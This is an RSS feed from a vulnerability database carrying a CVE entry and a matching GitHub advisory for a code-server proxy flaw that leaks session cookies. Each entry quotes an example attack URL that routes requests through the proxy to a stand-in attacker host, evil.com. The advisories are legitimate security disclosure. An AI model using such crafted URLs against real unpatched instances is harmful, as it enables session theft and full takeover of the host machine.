<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Fri, 02 Oct 2026 22:38:15 +0000</lastBuildDate>
    <item>
      <title>CVE-2025-47269 — code-server session cookie can be extracted by having user visit specially crafted proxy URL</title>
      <link>https://vulnerability.circl.lu/vuln/cve-2025-47269</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; coder code-server&lt;/p&gt;
&lt;p&gt;code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL `https://&amp;lt;code-server&amp;gt;/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user&amp;#39;s session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker&amp;#39;s domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; coder code-server&lt;/p&gt;
&lt;p&gt;code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL `https://&amp;lt;code-server&amp;gt;/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user&amp;#39;s session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker&amp;#39;s domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/cve-2025-47269</guid>
    </item>
    <item>
      <title>GHSA-p483-wpfp-42cj — code-server's session cookie can be extracted by having user visit specially crafted proxy URL</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-p483-wpfp-42cj</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: code-server&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;A maliciously crafted URL using the `proxy` subpath can result in the attacker gaining access to the session token.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;Failure to properly validate the port for a `proxy` request can result in proxying to an arbitrary domain. The malicious URL `https://&amp;lt;code-server&amp;gt;/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user&amp;#39;s session token.&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to `/proxy`.&lt;/p&gt;
&lt;p&gt;Normally this is used to proxy local ports, however the URL can reference the attacker&amp;#39;s domain instead, and the connection is then proxied to that domain, which will include sending cookies.&lt;/p&gt;
&lt;p&gt;With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server.&lt;/p&gt;
&lt;p&gt;### Patches&lt;/p&gt;
&lt;p&gt;Patched versions are from [v4.99.4](https://github.com/coder/code-server/releases/tag/v4.99.4) onward.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: code-server&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;A maliciously crafted URL using the `proxy` subpath can result in the attacker gaining access to the session token.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;Failure to properly validate the port for a `proxy` request can result in proxying to an arbitrary domain. The malicious URL `https://&amp;lt;code-server&amp;gt;/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user&amp;#39;s session token.&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to `/proxy`.&lt;/p&gt;
&lt;p&gt;Normally this is used to proxy local ports, however the URL can reference the attacker&amp;#39;s domain instead, and the connection is then proxied to that domain, which will include sending cookies.&lt;/p&gt;
&lt;p&gt;With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server.&lt;/p&gt;
&lt;p&gt;### Patches&lt;/p&gt;
&lt;p&gt;Patched versions are from [v4.99.4](https://github.com/coder/code-server/releases/tag/v4.99.4) onward.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-p483-wpfp-42cj</guid>
    </item>
  </channel>
</rss>
